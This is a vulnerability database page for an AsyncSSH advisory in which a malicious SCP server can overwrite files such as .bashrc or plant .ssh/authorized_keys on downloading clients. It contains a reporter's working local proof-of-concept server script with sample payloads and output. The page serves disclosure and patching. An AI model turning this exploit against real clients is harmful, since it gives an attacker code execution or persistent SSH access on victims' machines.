Vulnerability DatabaseGHSA-pvf2-q84m-2j7g

GHSA-pvf2-q84m-2j7g: 
Python vulnerability analysis and mitigation

Summary

In AsyncSSH through 2.24.1, when scp() downloads from a remote host, a malicious or compromised server can send files with names other than the ones requested, and the client writes them into the destination directory. For example, a request for report.txt can instead create or overwrite .bashrc or .profile, and with recurse=True the server can send a directory such as .ssh containing authorized_keys. Files can't be written outside the destination directory. This is the AsyncSSH equivalent of OpenSSH's CVE-2019-6111.

Details

In the SCP protocol, the remote source chooses the name of each file and directory it sends. AsyncSSH already rejected names which could leave the destination directory, such as ones containing / or .., but it didn't check that the names sent matched what was requested. The top-level names sent by the server must now match the last part of the requested path, including any wildcards in it. If that part depends on an expansion by the remote shell, such as ~ or a variable, the expected names can't be determined, so the copy is aborted. As in OpenSSH, names below a requested directory aren't checked. A new check_names option can be set to False to turn off this check, for remote systems which return names that differ from the request.

Impact

A malicious or compromised SCP server can create or overwrite any file in the destination directory of an scp() download, regardless of which file was requested. When the destination is a home directory or another directory whose files are executed or trusted, this can give the server code execution on the client (for example, through .bashrc or .profile) or persistent SSH access (through .ssh/authorized_keys). Elsewhere, it can overwrite existing files in the destination directory. Downloads from trusted servers and uploads aren't affected.

Workarounds

Download into a new, empty directory and check its contents before moving files into place.

Proof of concept

The following script, written by the reporter, starts an AsyncSSH server on 127.0.0.1 whose exec handler plays the SCP source side, then calls asyncssh.scp((conn, path), dest_dir) as a normal client would. The destination directory already holds a .bashrc containing ORIGINAL. It runs two honest controls (report.txt and the wildcard report*.txt) and two attacks.

Script


# PoC files for this bug: asyncssh SCP client accepts file names the server

# chooses instead of the file that was requested. Local only (127.0.0.1).
import asyncio, os, tempfile, asyncssh
SCENARIOS = {
    # name: (what the client requests, recurse, records the server sends)
    'control: honest server':
        ('report.txt', False, [(b'C', b'report.txt', b'honest report\n')]),
    'control: wildcard request, honest server':
        ('report*.txt', False, [(b'C', b'report1.txt', b'r1\n'),
                                (b'C', b'report2.txt', b'r2\n')]),
    'attack 1: request report.txt, server sends .bashrc and .profile':
        ('report.txt', False, [(b'C', b'.bashrc', b'echo PWNED\n'),
                               (b'C', b'.profile', b'echo PWNED2\n')]),
    'attack 2: recursive request of reports/, server sends .ssh/authorized_keys':
        ('reports', True, [(b'D', b'.ssh', None),
                           (b'C', b'authorized_keys', b'ssh-ed25519 AAAA attacker\n'),
                           (b'E', None, None)]),
}
def make_handler(records):
    async def handler(process):
        r, w = process.stdin, process.stdout
        await r.readexactly(1)                      # client ready
        for kind, name, body in records:
            if kind == b'E':
                w.write(b'E\n'); await r.readexactly(1); continue
            mode = b'0700' if kind == b'D' else b'0644'
            size = len(body) if body is not None else 0
            w.write(b'%s%s %d %s\n' % (kind, mode, size, name))
            if (await r.readexactly(1)) != b'\0':
                break                               # client refused it
            if kind == b'C':
                w.write(body + b'\0'); await r.readexactly(1)
        process.exit(0)
    return handler
async def run(title, req, recurse, records):
    dest = tempfile.mkdtemp()
    with open(os.path.join(dest, '.bashrc'), 'w') as f:
        f.write('ORIGINAL\n')
    class Server(asyncssh.SSHServer):
        def begin_auth(self, username): return False
    key = asyncssh.generate_private_key('ssh-ed25519')
    srv = await asyncssh.listen('127.0.0.1', 0, server_factory=Server,
                                server_host_keys=[key], encoding=None,
                                process_factory=make_handler(records))
    port = srv.sockets[0].getsockname()[1]
    print('==', title, '| requested:', repr(req), 'recurse=%s' % recurse)
    async with asyncssh.connect('127.0.0.1', port, known_hosts=None,
                                username='u') as conn:
        try:
            await asyncssh.scp((conn, req), dest, recurse=recurse)
        except Exception as exc:
            print('   scp raised', type(exc).__name__ + ':', exc)
    for root, _, files in os.walk(dest):
        for name in sorted(files):
            path = os.path.join(root, name)
            print('   dest/%s = %r' % (os.path.relpath(path, dest),
                                     open(path).read()))
    srv.close()
async def main():
    print('asyncssh', asyncssh.__version__)
    for title, (req, recurse, records) in SCENARIOS.items():
        await run(title, req, recurse, records)
asyncio.run(main())

Output (AsyncSSH 2.24.1)

asyncssh 2.24.1
== control: honest server | requested: 'report.txt' recurse=False
   dest/.bashrc = 'ORIGINAL\n'
   dest/report.txt = 'honest report\n'
== control: wildcard request, honest server | requested: 'report*.txt' recurse=False
   dest/.bashrc = 'ORIGINAL\n'
   dest/report1.txt = 'r1\n'
   dest/report2.txt = 'r2\n'
== attack 1: request report.txt, server sends .bashrc and .profile | requested: 'report.txt' recurse=False
   dest/.bashrc = 'echo PWNED\n'
   dest/.profile = 'echo PWNED2\n'
== attack 2: recursive request of reports/, server sends .ssh/authorized_keys | requested: 'reports' recurse=True
   dest/.bashrc = 'ORIGINAL\n'
   dest/.ssh/authorized_keys = 'ssh-ed25519 AAAA attacker\n'

Patches

This issue is fixed in AsyncSSH 2.24.2.

Credits

Thanks to Adrian Korwel and Zachariah Mithani for reporting this issue and providing proof of concept code.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-r98q-c7gm-3hvgHIGH8.1
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-q4wc-j7xw-w4wpMEDIUM6.8
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-w3vw-hf9q-pm2pMEDIUM6.5
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-pvf2-q84m-2j7gMEDIUM5.3
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026
GHSA-ww8g-78w6-6cgmLOW3.7
  • Python logoPython
  • asyncssh
NoYesNov 27, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management